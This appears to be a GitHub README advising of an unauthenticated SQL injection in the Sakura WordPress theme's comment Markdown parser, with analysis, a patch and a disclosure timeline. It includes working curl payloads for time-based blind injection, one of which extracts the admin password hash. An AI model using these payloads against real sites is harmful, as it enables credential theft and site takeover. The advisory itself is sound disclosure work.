Kimdir01/sakura-theme-sqli-cve

GitHub: Kimdir01/sakura-theme-sqli-cve

Sakura WordPress 主题未授权 SQL 注入漏洞(CVSS 9.8)的概念验证代码与详细分析报告,揭示了评论 Markdown 解析器中因未使用预处理语句导致的严重注入问题。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX ## 通过评论 Markdown 解析器引发的 Sakura WordPress 主题未授权 SQL 注入 ### 漏洞公告信息 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress 主题 | | **包/产品** | Sakura WordPress 主题 | | **受影响版本** | 直至 commit `9a7a597` 的所有版本 | | **修复版本** | 无 | | **严重性** | **严重 (CVSS 9.8)** | | **CWE** | CWE-89 (SQL 注入) | | **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **代码库** | https://github.com/mashirozx/sakura | | **Stars** | 3,816 ⭐ | ### 概述 Sakura WordPress 主题的 Markdown 评论解析器中存在一个未授权 SQL 注入漏洞。在 `preprocess_comment` filter 期间,原始且未经处理的评论内容被存储在一个全局变量中,随后在没有使用 `$wpdb->prepare()` 的情况下被直接拼接进 SQL `UPDATE` 查询中。 ### 受影响组件 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress 主题 | | **包** | mashirozx/sakura | | **供应商** | mashirozx | | **受影响版本** | 所有 | | **修复版本** | 无 | | **文件** | `functions.php`,第 1803–1889 行 | ### 描述 Sakura 主题通过两个 hooks 为 WordPress 评论添加了 Markdown 支持: 1. **`preprocess_comment`** — `markdown_parser()` 将原始 `$_POST['comment']` 内容捕获到全局变量 `$comment_markdown_content` 中 2. **`comment_post`** — `save_markdown_comment()` 通过不安全的 SQL 将此原始内容写入数据库 **漏洞代码(`functions.php`,第 1804–1835 行):** ``` // Hook 1: Captures RAW user input before WordPress sanitization function markdown_parser($incoming_comment) { global $wpdb, $comment_markdown_content; // ❌ Stores raw unsanitized comment content in global variable $comment_markdown_content = $incoming_comment['comment_content']; // ... markdown rendering ... return $incoming_comment; } add_filter('preprocess_comment', 'markdown_parser'); // Hook 2: Uses raw content directly in SQL query function save_markdown_comment($comment_ID, $comment_approved) { global $wpdb, $comment_markdown_content; $comment_content = $comment_markdown_content; // ← RAW USER INPUT // ❌ Direct string interpolation — NO $wpdb->prepare()! $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';"); } add_action('comment_post', 'save_markdown_comment', 10, 2); ``` ### 概念验证 **环境:** 启用了 Sakura 主题的 WordPress 6.x,评论功能已开启。 **利用方式:** **PoC #1 — 基于时间的盲注(通用):** ``` # 通过 WHERE 子句引发 5 秒延迟来确认漏洞 curl -X POST "http://target/wp-comments-post.php" \ --data "comment=test', comment_ID=SLEEP(5) -- " \ --data "author=Attacker" \ --data "email=attacker@evil.com" \ --data "comment_post_ID=1" \ --data "submit=Post+Comment" # 5 秒以上的响应延迟确认存在 blind SQL injection ``` **PoC #2 — 基于时间的盲注数据提取(凭证窃取):** ``` # 逐字符提取 admin 密码 hash # 如果 wp_users.user_pass (ID=1) 的首字符等于 '$',则响应延迟 5 秒 curl -X POST "http://target/wp-comments-post.php" \ --data "comment=test', comment_ID=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \ --data "author=Attacker" \ --data "email=attacker@evil.com" \ --data "comment_post_ID=1" \ --data "submit=Post+Comment" # 5 秒延迟 = 首字符匹配;遍历所有位置以重建完整 hash # 然后可以离线破解完整 hash(WordPress 使用 phpass MD5) ``` **执行流程:** 1. `markdown_parser()` 在 `preprocess_comment` 时触发 — 将原始评论存储在 `$comment_markdown_content` 中(在 WordPress 进行过滤之前) 2. WordPress 对评论进行过滤并将其插入 `wp_comments` 表中 3. `save_markdown_comment()` 在 `comment_post` 时触发 — 执行未过滤的内容: **PoC #1 — 盲注确认:** UPDATE wp_comments SET comment_markdown='test', comment_ID=SLEEP(5) -- ' WHERE comment_ID='123'; 结果:5 秒的延迟确认 SQL 注入可被利用。 **PoC #2 — 凭证提取(迭代):** UPDATE wp_comments SET comment_markdown='test', comment_ID=IF( SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0 ) -- ' WHERE comment_ID='123'; 结果:攻击者逐字迭代提取管理员密码哈希值,该哈希值可以离线破解(WordPress 使用 phpass/MD5)。 **为什么堆叠查询会失败:** `$wpdb->query()` 内部调用 `mysqli_query()`,而它不支持由 `;` 分隔的多个语句。基于时间的盲注可以在单个 UPDATE 语句中可靠地提取数据。 ### 影响 | CIA | 级别 | 描述 | |-----|-------|-------------| | 机密性 | **高** | 通过子查询提取所有 WordPress 用户数据、密码哈希和电子邮件 | | 完整性 | **高** | 提取管理员密码哈希 → 离线破解 → 获取完全管理员权限 → 修改任何内容 | | 可用性 | **高** | 通过凭证链条获取管理员权限后,可删除所有站点内容 | **攻击场景:** 1. 未授权攻击者发布带有 SQL 注入 payload 的评论 2. 原始 payload 通过 `preprocess_comment` hook 绕过 WordPress 过滤 3. SQL 注入以完整的数据库权限执行 4. 攻击者获取管理员权限、窃取用户数据或破坏数据库 ### 补丁 使用 `$wpdb->prepare()` 替换字符串插值: ``` - $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . - "' WHERE comment_ID='" . $comment_ID . "';"); + $wpdb->query($wpdb->prepare( + "UPDATE {$wpdb->comments} SET comment_markdown = %s WHERE comment_ID = %d", + $comment_content, + $comment_ID + )); ``` 同时使用 `$wpdb->comments` 代替硬编码的 `wp_comments`,以支持自定义表前缀。 ### 参考 | 类型 | URL | |------|-----| | 代码库 | https://github.com/mashirozx/sakura | | 漏洞代码 | https://github.com/mashirozx/sakura/blob/master/functions.php#L1834 | | WordPress $wpdb->prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ | | CWE-89 | https://cwe.mitre.org/data/definitions/89.html | ### 验证 于 2026-06-27 通过本地代码审计确认漏洞: ``` git clone https://github.com/mashirozx/sakura cd sakura # 确认第 1834 行存在 SQL injection: grep -n "wpdb->query.*UPDATE.*comment_markdown" functions.php # Output: 1834: $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';"); # 确认任何地方都未使用 prepared statements: grep -c "wpdb->prepare" functions.php # Output: 0 # 确认原始输入源: grep -n "comment_markdown_content.*incoming_comment" functions.php # Output: 1818: $comment_markdown_content = $incoming_comment['comment_content']; # 确认存在漏洞的 hooks: grep "preprocess_comment\|comment_post" functions.php # Output: add_filter('preprocess_comment', 'markdown_parser'); # add_action('comment_post', 'save_markdown_comment', 10, 2); ``` **验证状态:✅ 所有检查通过** ### 时间线 | 日期 | 事件 | |------|-------| | 2026-06-27 | 通过源代码分析发现漏洞 | | 2026-06-27 | 本地验证 — `git clone` + 代码审计确认 | | 2026-06-27 | 通过 GitHub 安全公告通知供应商(私下披露) | | 待定 | 供应商确认/响应 | | 待定 + 90 天 | 协调公开披露(标准的负责任披露窗口) | | 待定 | 分配 CVE ID 并发布安全公告 | ### CVSS v3.1 ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL AV:N — Remote over HTTP (anyone can post a comment) AC:L — Simple POST request PR:N — No authentication (comments are public) UI:N — No user interaction S:U — Same security context C:H — Read any database table I:H — Modify any database table A:H — DROP/DELETE possible ```
标签:CISA项目, PoC, Web安全, WordPress插件, 多线程, 文件完整性监控, 暴力破解, 蓝队分析